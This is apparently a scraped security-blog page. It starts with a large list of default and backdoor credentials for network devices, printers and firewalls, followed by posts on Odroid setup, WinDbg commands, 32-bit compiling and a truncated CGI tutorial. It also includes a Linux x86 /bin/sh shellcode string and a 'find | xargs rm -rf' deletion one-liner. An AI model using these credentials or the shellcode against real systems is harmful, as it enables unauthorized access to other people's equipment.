topsecfirewallMultisupermantalentAdmin
US RoboticsUSR9110HTTPadmin(none)Admindefault IP subnet: 192.168.1.0
CNETCSH-2400WunkHTTPadmin1234Admin
Psionteklogix91601HTTPadminadminAdmin
AirTies RT-210AirTies RT-210AirTies RT-210TelnetadminadminAdminAirTies RT-210
SiemensSE560dslMultiadminadminAdminAlso has an account with: user/user
Psionteklogix91601HTTPadminadminAdmin
NetgearWG6021.7.xHTTPadminpasswordAdminDefault IP: DHCP or 192.168.0.227
SSABPCSUp to 5.02MultiSSASSAAdminrarely changed/used for upgrades-patches
Minolta PagrProQMS 4100GN PageProHTTPn/asysadmAdmin
Secure ComputingWebwasherallHTTPadmin(none)Admin
CiscoCallManagerHTTPadminadminAdminnabil ouchn
CiscoWSLEallallwlseuserwlsepasswordUsersee also enable passwd
CiscoWLSEallConsoleenable(none)enableuse with wlseuser
NetgearCG814CCR2MulticusadminhighspeedAdminComcast small business router. Default access at 10.1.10.1
BrotherNC-2100pMulti(none)accessAdminNC-2100p Print Server
Signamax065-7726SMultiadminadminAdminSwitch
PanasonicPBX TDA 100/200/400allConsole(none)1234Admingoogle.com search q panasonic pbx tda 100 default password
ZyxelRouter650-1Telnet(none)1234AdminTelefonica
Huaweimt820V100R006C01B021HTTPadminadminAdminTelefonica Colombia ADSL
IrongateNetSurvibox 2661HTTPadminNetSurviboxAdmin
netgearsc101management softwareadminpasswordAdmin
BluecoatProxySG (all model)SGOS 3 / SGOS4HTTPS (8082)adminadminAdmin
SMCsmc7904wbrbMulti(none)smcadminAdmin
SMCSMC7004VBRHTTPn/asmcadminAdmin
SymbolCB3000A1HTTPSadminsymbolAdminDefault IP 10.10.1.1
Xerox240aHTTPadminx-adminAdmin
EricssonMD110TelnetMD110helpAdmin
EricssonBP250HTTPadmindefaultAdmin
CiscoCisco Wireless Location Appliance2700 Series prior to 2.1.34.0MultirootpasswordAdminAdded by DPL admin. From http://www.securitytracker.com/alerts/2006/Oct/1017056
TopcomWireless Webr@cer 1154+ PSTN (Annex A)V 4.00.0HTTPadminadminAdminG+ mode (125Mbps) integration
TopcomWireless Webr@cer 1154+ PSTN (Annex A)V 0.01.06HTTPadminadminAdminWPA-PSK implemented
TopcomWireless Webr@cer 1154+ PSTN (Annex A)V 0.01.09HTTPadminadminAdminImproved wireless stability
SercomIP806GAHTTPadminadminAdmin
SercomIP806GBHTTPadminadminAdmin
draytekVigor3300 seriesTelnetdraytek1234Admin
netgearDG834GT192.168.0.1MultiadminPasswordAdmin
d-linkads500gHTTPadminadminAdmin
Konica Minoltamagicolor 5430 DLHTTPadminadministratorAdmin
planetakcess pointHTTPadminadminAdmin
SharpAR-M355NHTTPadminSharpAdmin
SharpMX-3501nHTTPAdministratoradminAdmin
3comLANplex2500Telnetn/aadminAdmin
CiscoMeetingPlaceConsoletechnician2 + last 4 of Audio Server chasis Serial case-sensitive + 561384AdminUsed for Audio Server or MeetingTime software
cuproplusbusMultin/a(none)Admin
wlinew3000gHTTPadmin1234Admin
Tandberg6000MXPMultiAdmin(none)Admin
hp2300MultiadminadminAdmin
ActiontecWireless Broadband RouterMultiadminpasswordAdminVerizon Fios Setup
D-LinkDI-634MMultiadmin(none)Admin
SilvercrestWR-6640SgHTTPadminadminAdmin
Deutsche TelekomT-Sinus 1054 DSLAllHTTP(none)0Admin
NetgearFVS114GRHTTPadminpasswordAdmin
NokiaM1921Telnet(none)nokaiAdmin
NokiaADSL router M1921Telnet(none)nokiaAdmin
SiemensSpeedstream SS2614Hardware V. 01HTTPn/aadminAdmin
TrendNETTEW-435BRM1HTTPadminpasswordAdmin
NetgearRO318Multiadmin1234Admin
ZTEZXDSL 8314.2MultiADSLexpert03AdminDefault Password if user does not change it
Alcatel7300 ASAMTL1SUPERUSERANS#150Admin
ShoretelALLHTTPadminchangemeAdmin
stratacomallallMultistratacomstratauserAdmin
ToshibaE-Studio 3511cHTTPAdmin123456AdminMultifunction Printer/Copier/Scanner/Fax
XeroxWorkCentre 7132Multi11111x-adminAdmin
SharpAL-1655CSHTTPadminSharpAdmin
3Com3CRWDR100A-722.06 (Sep 21 2005 14:24:48)HTTPadmin1234adminAdminProvided by Ya.com provider in Spain
JuniperNetscreen3.2Consoleserial#serial#AdminResets to factory settings
CiscoONSallMultiCISCO15otbu+1AdminOptical Network System - http/TL1
TelewellTW-EA501v1MultiadminadminAdmin
NOMADIXAG5000Telnetadmin(none)Admin
MediatrixMDD 2400/2600Consoleadministrator(none)AdminFrom the Getting Started Guide (Draft)
Dell2161DS Console SwitchHTTPAdmin(none)Admincase sensitive username
digicomWavegate 54CHTTPAdmin(none)Admin
SiemensHipath3300-3750Custom program3199431994Admin
SparklanWx-6215 D and GHTTPadminadminAdmin
Applied InnovationsAIscoutMultiscoutscoutsupervisor
PlanetWAP 4000MultiadminadminAdminDefault IP is 192.168.1.1
fonLa fonera0.7.1 r1HTTPadminadminAdminfon.com
LanierDigital ImagerLD124cHTTPadmin(none)Admin
NetgearWGT624Serial consoleGearguyGeardogAdminsee http://wiki.openwrt.org/OpenWrtDocs/Hardware/Netgear/WGT624
DellPowerConnect 2724HTTPadmin(none)Admin
D-LinkDI-524E1TelnetAlphanetworkswrgg15_di524AdminPassword is actually firmware image signature. (use hex editor on .bin)
DIGICOMMichelangelo Wave108HTTProotadminAdmin
US RoboticsUSR9106HTTPadminadminAdmin
SpeedStream 5200-SerieSpeedStreamTelnetAdministratoradminAdmin
SiemensGigasetAllMulti(none)0Admin
Comtrendct-536+HTTPadminadminAdmin
Comtrendct-536+HTTPadmin1234Admin
2wirewifi routersn/aHTTPnoneWirelessAdminAlmost all 2wire routers
Sphairon(Versatel WLAN-Router)MultiadminpasswortAdmin
HPMSL Series LibrariesMultiFactory56789AdminFactory password under Utilities. For all functions unlocked.
OverlandNEO Series LibrariesMultiFactory56789AdminFactory password under Utilities. For all functions unlocked.
OKI6120e and 421nHTTPadminOkiLANAdmin
siemenspeedstream 5400059-e440-a02HTTPadmin(none)Admin
VariousDD-WRTv23 SP1 FinalHTTProotadminAdminAlternative firmware
AztecjDSL 600EU62.53.2TelnetrootadminAdmin
AztecjDSL 600EU62.53.2HTTPispispAdminbackdoor - not in all f/w versions
Linksysrv082Multiadmin(none)Admin
AVAYAP333TelnetAdministratorggdaseuaimhrkeAdmin
AVAYAP333TelnetrootggdaseuaimhrkeAdmin
InfobloxINFOBLOX ApplianceMultiadmin(none)Admin
AvocentCycladeLinux hostnamehere 2.6.11 #1 Tue Mar 28 13:31:20 PST 2006 ppc unknownMultiroottslinuxAdminhttp://www.cyclades.com.au
EMCDS-4100BConsoleadmin(none)AdminEMC Fiber Switch
CitelHandset GatewayHTTPcitelpasswordAdmin
CitelHandset GatewayTelnet(none)citelAdmin
GrandstreamGXP-2000HTTPadmin1234Admin
SysMasterM10HTTPadmin12345Admin
pfSensepfSense Firewall1.0.1MultiadminpfsenseAdminhttp://www.pfsense.com
ASUSASUS WL-330 Pocket Wireless Access PointHTTPadminadminAdminhttp://192.168.1.1
PlanexBRL-04URMultiadmin0Admin
maxdata7000xMultin/a(none)Admin
ConceptronicC54BRS4Multiadmin1234AdminIts a Generic Router From Conceptronic - Probably they can be all the same
OPEN Networks812LHTTProot0P3NAdmin
ThomsonWireless Cable GatewayDCW725HTTP(none)adminAdminSSID : THOMSON (Credit to Renaud Feil)
ThomsonSpeedTouch AP180HTTPn/aadminAdminSSID : SpeedTouch180 (credit Renaud Feil)
KASDAKD318-MUIkasda adsl router and modemMultiadminadslrootAdmin
IntracomjetSpeed520/520iMultiadminadminAdminL3x
cisco2600 routerTelnetcisco(none)Admin
EdimaxEW-7206APGHTTPadmin1234Admin
SMCSMCWBR14-GHTTP(none)smcadminAdminDeFaults:: IP Address: 192.168.2.1 - Subnet Mask: 255.255.255.0
ASUSASUS SMTA RouterFirmware: 3.5.1.3(C0.0.7.4) - Hardware: 1100(AVG6002 REV:2.26A)HTTP + TelnetadminadminAdminRouter / VoIP Gateway (@ 192.168.3.1)
linksyswrt54gMultiadminadminAdmin
AddonGWAR3000/ARM8100HTTPadminadminAdminhttp://www.addon-tech.com
ZyXeL660HWHTTPadmin(none)Adminterra
NetgearWifi RouterWGT 624 v3HTTPadminpasswordAdminslawcio26
ApacheTomcat Web Server Administration Tool5HTTPadmin(none)Admin
SitecomWL-0xx up to WL-17xallMultiadminadminAdminoften on port 88
greatspeedDSLHTTPnetadminnimdatenAdminETB Colombia
NokiaM1122unknownMulti(none)TelecomAdminNew Zealand
NortelVPN GatewayConsoleadminadminAdmin
FortinetFortigateConsolemaintainerbcpb+serial#Adminserial# has to be in caps
FortinetFortigateConsolemaintaineradminAdmin
CrossbeamCOS / XOSLilo boot(none)x40rocksAdminAt the LILO boot prompt type linux single
EdimaxEdimax Fast Ethernet SwitchHTTPadminpasswordAdmin
ProlinkH9000 SeriesHTTPadminpasswordAdmin
netgeardg834Multin/aadminAdmin
BrotherMFC-420CNFirmware Ver.CMultin/aaccessAdminmultifunction printer copier
D-LinkDWL-G730AP1.1HTTPadmin(none)Adminhttp://192.168.0.30
Fujitsu SiemensFibre Channel SAN storage FX 60HTTPmanage!manageAdmin
Fujitsu SiemensFibre Channel SAN storage FX 60Telnetmanage!manageAdmin
Spectra Logic64000 GatorMultiadministrator(none)AdminHas no password
Spectra Logic64000 GatorMultioperator(none)UserHas no password
HPt5000 Thin Client seriesConsoleAdministratoradminAdmin
HuaweiMT880HTTPadminadminAdmin
ATLP1000Multioperator1234UserTape Library Operator Access
ATLP1000MultiService5678Service Maintenance AdminTape Library Service Access
TopcomSkyr@cer Pro AP 5541.93HTTPadminadminAdminWireless Access Point
NetgearFSM7326P 24+2 L3 mANAGED PoE SwitchHTTPadmin(none)Admin
seninleyimben@skanel rattaniFTPadminadminAdmin11182360608
SagemLiveboxMultiadminadminAdmin
InventelLiveboxMultiadminadminAdmin
INOVAONT4BKP (IP clock)allTelneticlocktimelyAdminNetwork clock
D-LinkG624TMultiadminadminAdmin
RicohRicohAficio MP 3500 1.0Multiadmin(none)AdminNabil OUCHN
infactagroup mailMultiAdministrator(none)Admin
LinksysWRT54GSV4HTTPadminadminAdmin
LanierLD335HTTPsupervisor(none)Admin
3COMOfficeConnect 812 ADSLMultiAdministratoradminAdminterra
Comcast Home NetworkingComcast Home NetworkingALLHTTPcomcast(none)Admin
SMCSMC8013WG-CCR2.11.19-1dHTTPmsow0rkplac3rul3sAdminComcast Business Gateway w the int LAN IP 10.1.10.1 and login cusadmin highspeed
ZyxelES-2108Multiadmin1234Admin
D-LinkWBR-1310B-1Multiadmin(none)Admin
SharpAR-M155HTTPadminSharpAdminNote the Capital S
SharpMX-5500HTTPadminadminAdminDifferent to other sharp units
ToshibaE-Studio 4511cHTTPadmin123456Admin
Leviton47611-GT5MultiadminlevitonAdmin
NortelPassport 2430TelnetManager(none)Admin
BUFFALOWLAR-L11-L / WLAR-L11G-LHTTProot(none)Admin
Xerox6204Multin/a0Admin
iDirectiNFINITY series3000/5000/7000TelnetadminP@55w0rd!Adminto enable ssh connections to the router: service sshd start
iDirectiNFINITY series3000/5000/7000sshrootiDirectAdminfirst enable sshd telnet to router: service sshd start
US RoboticsUSR5462HTTPn/aadminAdmin
telecomhome hauweiMultioperator(none)Admin
DavolinkDV2020HTTPuseruserunknown
motorolasgb900HTTPadminmotorolaAdmin
zyxelg-570sMultin/aadminAdmin
BeetelADSL Modem220XMultiadminpasswordAdminBeetel Model Provided By Airtel In India
LinksysWAG354G2HTTPadminadminAdminApplies to other linksys too
QLogicSANbox 5602 Fibre Channel SwitchMultiadminpasswordAdmin
QLogicSANbox 5602 Fibre Channel SwitchMultiimagesimagesUser
LucentCellpipe20A-GX-UKConsolen/aadminAdmin
Buffalo TechnologyTeraStationMultiadminpasswordAdmin
linksyswag354gTelnetadminadminUser
ThomsonTCW-710Multi(none)adminAdminono
RicohAficio 551Multi(none)sysadmAdmin
CiscoPIX6.3Consoleenable(none)Admin
GuruWireless ADSL2HTTPadminadminAdmin
ColubrisMSCHTTPadminadminUserfor all Colubris Devices
NetgearWGR614v6HTTPadmindraadloosAdminDutch routers
T-ComSpeedport Router FamilyallHTTP(none)0Adminworks with nearly all routers of the speedport family
MikrotikMikrotikTelnetadmin(none)Admin
ZyxelPrestige 650HW3131Telnet192.168.1.1 60020@dsl_xilnoAdmin
NetgearMR814v1HTTPadminpasswordAdmin
MotorolaSURFboardSBV5120HTTPadminmotorolaAdmin
linksysBEFW11S42Multi(none)adminAdminComes up as BEFW11S4 V.2 when you try and log into it.
WLAN_3DRouterHTTPAdministratoradminAdmin
BrotherHL5270DNHTTPadminaccessAdmin
TrendMicroInterScan 7.0HTTPadminimss7.0Admin
PromiseNS4300N NASShellengmodehawk201Admin
RicohAficio 1018dHTTPn/asysadmAdmin
RicohAficio 1013FHTTPn/asysadmAdmin
PolycomSoundPoint IP PhonesHTTPPolycom456Adminusername is case sensitive
XeroxDocumentCenter 1862007adminx-adminadmin
NetgearReadyNas DuoRND2000adminnetgear1Adminv4 firmware onwards
NetgearReadyNas DuoRND2000admininfrant1AdminUpto v3 firmware
Konica Minoltamagicolor 1690MF(non)sysAdminAdministrator
Konica Minoltamagicolor 1690MF(non)sysAdminAdministrator
KyoceraPrinterany(none)admin00
BuffaloWHR-G300NrootAdministrator
Kyocera Printers2020Dn/aadmin00Admin
WestellUltraline Series3 A90-9100EM15-101.02.00.04adminpassword1AdminVerizon cable router (Model 9100EM on front)
CNetCWR- 500 Wireless-B RouterAdminadminAdmin
ZyXel Based (Generic)Broadband SOHO Router925ahcd on circuit board printadmin0000AdminPassword is 4 zeros. Gray router with pink bezel.
SWEEXsweexmysweexAdmin
D9287arPavilion6640cClarissa
Syabas TechnologyPopcorn Hour A-110allnmt1234admin
Syabas TechnologyPopcorn Hour C-200allnmt1234admin
Syabas TechnologyPopcorn Hour A-110allftpuser1234admin
DellWRTA-108GDadminadminAdmin192.168.2.1
LinksysADSLME3rootorion99AdminFrom Telus ISP (Canada)
ArecaRAID controllersAnyadmin0000Administratorhttp://ArecaIP:81
EdimaxPS-1208MFGedimaxsoftware01Adminfor most Edimax HW????
SAF TehnikaCFQ series modemsintegratorp1nacateIntegrator
SAF TehnikaCFQ series modemsadministratord1scoveryAdmin
SAF TehnikaCFQ series modemsoperatorcol1maOperator
SAF TehnikaCFQ series modemsmonitormonitorMonitor
McDatai10k SwitchMcdataSEredipsadmin
RadwareAppXcelradwareradwareAdmin
AVMFritz!Boxanyn/a0000admin
T-ComSpeedportanyn/a0000admin192.168.2.1 | http://Speedport.ip |
T-ComSpeedport W701Vanyn/a0000admin
T-ComSpeedport W900Vanyn/a0000admin
Sempre54M Wireless RouterV 1.00adminadmin
RadwareAppDirectradwareradwareAdmin
BoschNWC-0455 Dinion IP Camerasserviceserviceadminmay work in other bosch ip cameras
BoschNWC-0455 Dinion IP Camerasuseruserregular user
BoschNWC-0455 Dinion IP Cameraslivelivemonitor - low priv
m0n0wallm0n0wall1.3adminmonoAdministratorFirewall
m0n0wallm0n0wall1.3adminmonoAdministratorFirewall
3comcorebuilder7000/600/3500/2500defugsynnet
LAXOIS-194G1.0aadminadminadmin192.168.1.254
LogiLinkWL00261.68admin1234AdminRealtek chipset. Default IP 192.168.2.1
XAMPPXAMPP Filezilla FTP ServernewuserwamppUser
PirelliDRG A125G4.5.3adminadminAdmin
RicohAficio MP 161L( Printer MP 161L )( none - Not required )sysadmAdministration
EdimaxPS-1203/PS-1205Um/PS-3103( not applicable )admin(none) OR su@psirAdministration
SagemFast 3504 v2MenaraMenaraadminmoroccan internet provider's router
ALLNETALL 130DSLadminpassword
AVMFritz!Box Fon7270n/an/ahttp://fritz.box
WatchguardFirebox(blank)wgadmin
SharpAR-M237adminSharpAdmin
Extended SystemsPrint Servers-adminextendnetAdmin
SymmetricomNTS-200AlloperatormercuryAdminSymmetricom NTP Network Appliance
SymmetricomNTS-200AllguesttruetimeguestSymmetricom NTP Network Appliance
SharpAR-M237adminSharpAdminpass case-sensitive
NetgearWGR6149adminpasswordAdmin192.168.1.1 OR www.routerlogin.net
BrotherMFC-7225adminaccessadmin
NETGEARDG834G3adminpassword
EricssonSBG3.1expertexpert
huawei incorporatek37659.4.3.16284adminadmin
RicohAficio2016(none)passwordall
T comsinus1054dslveda12871
ToshibaMost e-Studio copiersadmin123456Admin
thomsonspeedtouch 585 v72+adminpasswordadministratoruw club supply u wid dese boxes
ptclzxdsl831ciiadminadmin
BrocadeFabric OS5320userpassworduserAlso on other SAN equipment
ZyxelNWA11001234Admin
ZyxelG570Sv21234Admin
HPE1200Network Storage Routerrootpasswordadmin
KyoceraFS-2020D-admin00Admin
WeidmüellerIE-SW16-Madmindetmondadmin
T-ComSpeedport 503Vany123456


Posted by k1rha
2013. 12. 16. 22:24

검색 키워드 : 오드로이드 XU 설치 (Odroid XU installation , ubuntu, kali linux, ARM linuxx)


오드로이드 XU를 설치함에 있어서 고생했던 부분 정리 

XU 버젼이 나온지가 얼마 안되어서, 괜히 XU라서 안되는건가 의심을 많이하게 됨..


[ odroid XU 의 모습 ]



1. emmc 와 micro sd 카드의 역할 (파란색 네모 모양)

   : emmc == micro sd card 

      emmc 가 micro sd 보다 속도면에서 2~3배 정도 빠르기에 emmc 사용을 권장함.

      허나, emmc 가 오드로이드를 동작시키는데 반드시 필요한 것은 아니.

     


2. emmc에 우분투 설치 하는법

  : 젠더를 통해 일반 sd 카드처럼 똑같이 사용한다. 설치하는 법이 다르진 않다.

    win32-diskmager-v0.7-binary 파일을 이용하여 설치하였고, 그외에 어떠한 것이든 상관없다.

    emmc 나 micro sd 카드에 iso를 퓨징하면 된다. 

    다운로드 사이트 : http://www.odroid.in/Ubuntu_XU/20131125/ 


3. 전원 키고 끄기

  : 오드로이드 XU에 별도의 스위치는 없다. 

  : 전력선을 뽑으면 OFF, 꼽으면 ON 이다. 

  : 리눅스를 설치한 뒤에는 물론 power off 같은 명령어를 써줄 수 있다.


3. HDMI 포트 연결시 부팅 오류 

  : HDMI를 꼽고 모니터를 연결한 상태로 부팅을 할 경우

   모니터를 연결한 상태로 부팅을 할경우 알수 없는 이유(전력문제라 생각됨)로 부팅이 되지 않을때가 있다.

   그럴 경우 부팅후에 HDMI를 꼽아서 모니터를 연결하면된다.


4. HDMI가 아닌 RGB PORT 혹은 DVI 포트를 사용할 경우? 

  : 처음 Convertor 를 이용하여 HDMI 단자를 RGB나 DVI로 바꾸어 모니터를 연결하였지만, 모니터는 나오지 않았다.

    오로지 순수 HDMI 단자만 연결해야 모니터가 들어오는 것을 확인 할 수 있었다.


5. 부팅 모드 변경 

  : emmc로 부팅할지 sd card로 부팅할지, 부팅모드를 변경해 준다.

    일반 PC의 BIOS 모드의 priority booting mode 라 생각하면된다.

    위 사진의 노란색 부분에 아주 작은 스위 치가 있다. 잘읽어보면 sw-1 와 on 이라고 쓰여진 글씨가 있다.

    이걸 토대로 스위치를 변경 할 수 있다.


  SW1-1,2    1st Boot media 

       ON ON    eMMC5.0

       ON OFF    eMMC4.4

       OFF ON    MicroSD card

       OFF OFF    Reserved


6. 관련 사이트

  - http://forum.odroid.com/  <- 오드로이드 보드 포럼

  - http://forum.odroid.com/viewforum.php?f=61 <- 그 안에 XU 우분투 포럼

  - 오드로이드 위키 (http://odroid.us/mediawiki/index.php)

  - 오드로이드 포럼 (http://forum.odroid.com/viewforum.php?f=4)

  - U2에 우분투 및 NAS 설치 : http://primrose.tistory.com/67


 

7. 향후 사용 분야 

     - 패킷 릴레이 서버 제작 

     - kali linux ARM 용 포팅, 취약점 분석및 안드로이드 분석, ARM 시스템환경 분석 등에 활용

 



Posted by k1rha
2013. 12. 12. 23:29

Description

This page lists a few shellcodes and proposes an API to search a specific shellcode. If you want to add your shellcode in this database, send an email at submit at shell-storm org

 

API

This is very straightforward to communicate with the API. Just send a simple GET method. The "s" argument contains your keyword.

http://shell-storm.org/api/?s=<keyword>

The output will be like that :

<auteur 1>::::<plateforme 1>::::<shellcode title 1>::::<shellcode id 1>::::<shellcode url 1>
<auteur 2>::::<plateforme 2>::::<shellcode title 2>::::<shellcode id 2>::::<shellcode url 2>
<auteur 3>::::<plateforme 3>::::<shellcode title 3>::::<shellcode id 3>::::<shellcode url 3>

For more information, you can find/use this shell-storm API script.


 

 


CENTOS  5.2 ~ 6.2 까지 쉘코드 

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"




Posted by k1rha
2013. 12. 12. 23:29

WINGDB


 (register), A (Assemble) , BL (breakpoint List), BC (breakpoint clear), BD(break disable),

BE(breakpoint Enable), BA(Break on Access), BP(set breakpoint) dd(display memory)

dl(display linked list), ds(display string), DT(display type), k (display stack backtrace), e(enter values), s(search memory), r (register), g(go), p(step), pc(step to next call), tb(trace to next branch)


Meta commnad  : 

 - .attach (attach process)

 - .cls(clear)

 - .sympath (symbol path) **중요 윈도우 라이브러리는 항상 해줘야함


key event 

 - ctrl + break : process break (이후 브레이크 포인트로 분석가능)

 - alt + 6 (call stack)

 - f10 : step over f11 : step : out


u + 주소값 = x/i 효과

d + 레지스터 = x/x 효과



windbg 단축키 모음

g, F5 = 실행



Ctrl+Break = 멈추고 디버깅 시작

qd(quit and detach) = 디버기를 계속실행하면서 디버거 종료

.symfix [path] = 심볼파일 경로설정

.sympath = 등록된 심볼파일 경로 출력

.sympath+ [path] = 심볼파일경로 등록 (추가됨)

bl = break point 리스트 출력

bd [breakpoint id] = break point disable

be [breakpoint id] = break point enable

bc [breakpoint id] = break point clear

조건 브레이크 예제

bp [address] ".if @@(pData->dwMyFlag & 0x00010000) {}.else {gc}"

@@(c++코드) 조건이 성립하면 break, 그렇지 않다면 gc 명령어가 실행된다. gc는 F10

과 동일하다. 

k = call stack 출력

kb = call stack 파라메터까지 출력

.srcpath = 소스경로 설정

dv = local 변수 리스트 출력, display value

db [변수이름] = 변수 데이타를 byte단위로 출력한다. display byte, dword..

dd = display dword

bpm r4 address = address위치의 메모리를 read 할때 break

lm = 모듈정보리스트 출력

lmvm [모듈이름] = 특정 모듈 정보 출력 (심볼파일이 설정되었는지 확인할때 필요)

.ecxr = dump파일을 열어볼 때, dump 파일의 레지스터와 스택포인트등 dump파일과

일치시킨다.

!analyze -v = dump파일을 열어서 분석할때 쓰이는 명령어다. 괜찮은듯

!address [변수or주소] = 메모리 속성을 출력한다.

.srcpath = 설정된 소스 경로를 보여준다. 추가하고 싶을때는 .srcpath+ 

.restart = 만약 실행파일로 테스트 중이라면 처음부터 다시 로드해서 시작한다.

~[thread number]s = 해당 쓰레드로 제어를 옮긴다. ex) ~2s = 2번 쓰레드로 이동

~* = 모든 쓰레드 출력

~*k = 모든 쓰레드의 콜스택정보 출력

~*kb = ~*k응용 (콜스택정보를 모두 출력한다. 바이트단위)

!handle [핸들] f = 핸들 정보 출력

dt [data type] [address] = address 에 있는 데이타를 data type 형태로 출력한다. 

특정 데이타를 표현할 때 자주 쓰이는 명령어다. display type

!locks = CriticialSection 과 같은 동기화객체를 출력한다. 어떤 쓰레드에서 소유하고 있는

지도 나오니 Thread Hang 버그를 디버깅할 때 유용하다.

!htrace -enable = handle 이 생성되고 삭제되는 것을 추적한다. disable도 가능

!htrace -snapshot = 현재 handle 상태를 저장한다. 나중에 비교하기 위해서

!htrace -diff = 전에 snapshot으로 저장했던 내용과 지금의 내용과 비교한다. 비교한 

내용 중, 닫힌 handle은 제외하고 남아있는 handle을 출력한다. 

즉, 비교해서 다른 부분 중, 열려있는 것만 출력한다는 의미.

u [address] = 

uf [함수이름] = 함수이름의 위치로 이동해 어셈블리코드로 출력한다.

s [-type] range patter = 메모리 내용을 검색하는 명령어

ex) s 0012ff40 0012ff60 'h' 'e' 'l' 'l' 'o'

ex) s -a 0012ff40 L20 "hello"

dds [Address] = (diplay word and symbols) 지정한 메모리에서 dword값을 읽어서 보여주고

그 값이 어떤 심볼과 연결된다면 심볼을 출력한다. 도움되는 명령어다.

x module!symbol = 함수나 전역변수의 이름을 입력하면 일치하는 심볼과 주소를 표시한다.

.dump option filename = 덤프파일 생성 option=/f, /m

.hh [text] = winDbg 도움말을 띄운다. text는 색인의 에디트창에 나온다. 엔터만 누르면 검색하게+

(open hiper text help)

!object [Address/path/name] = 객체의 정보를 보여준다.

!poolfind = 특정 메모리 태그를 가진 메모리를 찾는다.

ex) !poolfind ddk 0 : ddk 메모리 태그를 비페이징 풀에서 검색한다.

ex) !poolfind * 0 : 모든 태그의 메모리를 비페이징 풀에서 검색한다.



IDA 

Quick View : Ctrl + 1  (문자열 검색시에 용의하다)



Posted by k1rha
2013. 12. 8. 01:50

X86_64 Linux에서 32bit로 컴파일하기

redhat계열의 CentOS에서의 설치는 yum 이라는 명령을 통해 가볍게 처리가 가능하다

 

yum명령어가 안들을 경우는 /etc/resolv.conf에 DNS에 대한 설정을 넣어주면 잘 될 것이다.

 [hostname:/etc] cat resolv.conf
nameserver xxx.xxx.xxx.xxx
[hostname:/etc]


gcc와 관련된 것들을 설치하고 이때 glibc-devel이 설치되나

한번더 설치를 요청하면 i386으로 찾아줘서 해당 모듈을 설치하면 컴파일이 된다.

yum install gcc
yum install glibc-devel

 

그리고 gcc 컴파일시에 옵션에 -m32를 넣으면 32bit로 컴파일을 할 수 있다.



[ 실행만을 월할때 ] 

# yum install glibc.i686

# ldd something
        linux-gate.so.1 =>  (0xffffe000)

        libpthread.so.0 => /home/xxx/lib/libpthread.so.0 (0x00cbf000)
        libc.so.6 => /home/xxx/lib/libc.so.6 (0x00b77000)
        /lib/ld-linux.so.2 (0xf77e0000)

 

[출처] 64bit CentOS 리눅스 32bit로 컴파일 하기|작성자 무릉무릉


Posted by k1rha
2013. 11. 24. 22:24

-exec 를 활용하여 사용.


find . ! -name a -and ! -name b | xargs rm -rf 


Posted by k1rha
2013. 11. 24. 16:05

[CGI 개발] html 전송 방식 CGI 로 처리하기

출처 : http://www.tutorialspoint.com/cplusplus/cpp_web_programming.htm


[ keyword  : cgi get post file dropbox 처리법 ] 

What is CGI?

  • The Common Gateway Interface, or CGI, is a set of standards that define how information is exchanged between the web server and a custom script.

  • The CGI specs are currently maintained by the NCSA and NCSA defines CGI is as follows:

  • The Common Gateway Interface, or CGI, is a standard for external gateway programs to interface with information servers such as HTTP servers.

  • The current version is CGI/1.1 and CGI/1.2 is under progress.

Web Browsing

To understand the concept of CGI, let's see what happens when we click a hyperlink to browse a particular web page or URL.

  • Your browser contacts the HTTP web server and demand for the URL ie. filename.

  • Web Server will parse the URL and will look for the filename. If it finds requested file then web server sends that file back to the browser otherwise sends an error message indicating that you have requested a wrong file.

  • Web browser takes response from web server and displays either the received file or error message based on the received response.

However, it is possible to set up the HTTP server in such a way that whenever a file in a certain directory is requested, that file is not sent back; instead it is executed as a program, and produced output from the program is sent back to your browser to display.

The Common Gateway Interface (CGI) is a standard protocol for enabling applications (called CGI programs or CGI scripts) to interact with Web servers and with clients. These CGI programs can be a written in Python, PERL, Shell, C or C++ etc.

CGI Architecture Diagram

The following simple program shows a simple architecture of CGI:

CGI Architecture

Web Server Configuration

Before you proceed with CGI Programming, make sure that your Web Server supports CGI and it is configured to handle CGI Programs. All the CGI Programs to be executed by the HTTP server are kept in a pre-configured directory. This directory is called CGI directory and by convention it is named as /var/www/cgi-bin. By convention CGI files will have extension as .cgi, though they are C++ executable.

By default, Apache Web Server is configured to run CGI programs in /var/www/cgi-bin. If you want to specify any other directory to run your CGI scripts, you can modify the following section in the httpd.conf file:

<Directory "/var/www/cgi-bin">
   AllowOverride None
   Options ExecCGI
   Order allow,deny
   Allow from all
</Directory>
 
<Directory "/var/www/cgi-bin">
Options All
</Directory>

Here, I assumed that you have Web Server up and running successfully and you are able to run any other CGI program like Perl or Shell etc.

First CGI Program

Consider the following C++ Program content:

#include <iostream>
using namespace std;
 
int main ()
{
    
   cout << "Content-type:text/html\r\n\r\n";
   cout << "<html>\n";
   cout << "<head>\n";
   cout << "<title>Hello World - First CGI Program</title>\n";
   cout << "</head>\n";
   cout << "<body>\n";
   cout << "<h2>Hello World! This is my first CGI program</h2>\n";
   cout << "</body>\n";
   cout << "</html>\n";
   
   return 0;
}

Compile above code and name the executable as cplusplus.cgi. This file is being kept in /var/www/cgi-bin directory and it has following content. Before running your CGI program make sure you have change mode of file using chmod 755 cplusplus.cgi UNIX command to make file executable. Now if you click cplusplus.cgi then this produces the following output:

Hello World! This is my first CGI program

Above C++ program is a simple program which is writing its output on STDOUT file ie. screen. There is one important and extra feature available which is first line to be printed Content-type:text/html\r\n\r\n. This line is sent back to the browser and specify the content type to be displayed on the browser screen. Now you must have understood basic concept of CGI and you can write many complicated CGI programs using Python. A C++ CGI program can interact with any other exernal system, such as RDBMS, to exchange information.

HTTP Header

The line Content-type:text/html\r\n\r\n is part of HTTP header, which is sent to the browser to understand the content. All the HTTP header will be in the following form

HTTP Field Name: Field Content
 
For Example
Content-type: text/html\r\n\r\n

There are few other important HTTP headers, which you will use frequently in your CGI Programming.

HeaderDescription
Content-type:A MIME string defining the format of the file being returned. Example is Content-type:text/html
Expires: DateThe date the information becomes invalid. This should be used by the browser to decide when a page needs to be refreshed. A valid date string should be in the format 01 Jan 1998 12:00:00 GMT.
Location: URLThe URL that should be returned instead of the URL requested. You can use this filed to redirect a request to any file.
Last-modified: DateThe date of last modification of the resource.
Content-length: NThe length, in bytes, of the data being returned. The browser uses this value to report the estimated download time for a file.
Set-Cookie: StringSet the cookie passed through the string

CGI Environment Variables

All the CGI program will have access to the following environment variables. These variables play an important role while writing any CGI program.

Variable NameDescription
CONTENT_TYPEThe data type of the content. Used when the client is sending attached content to the server. For example file upload etc.
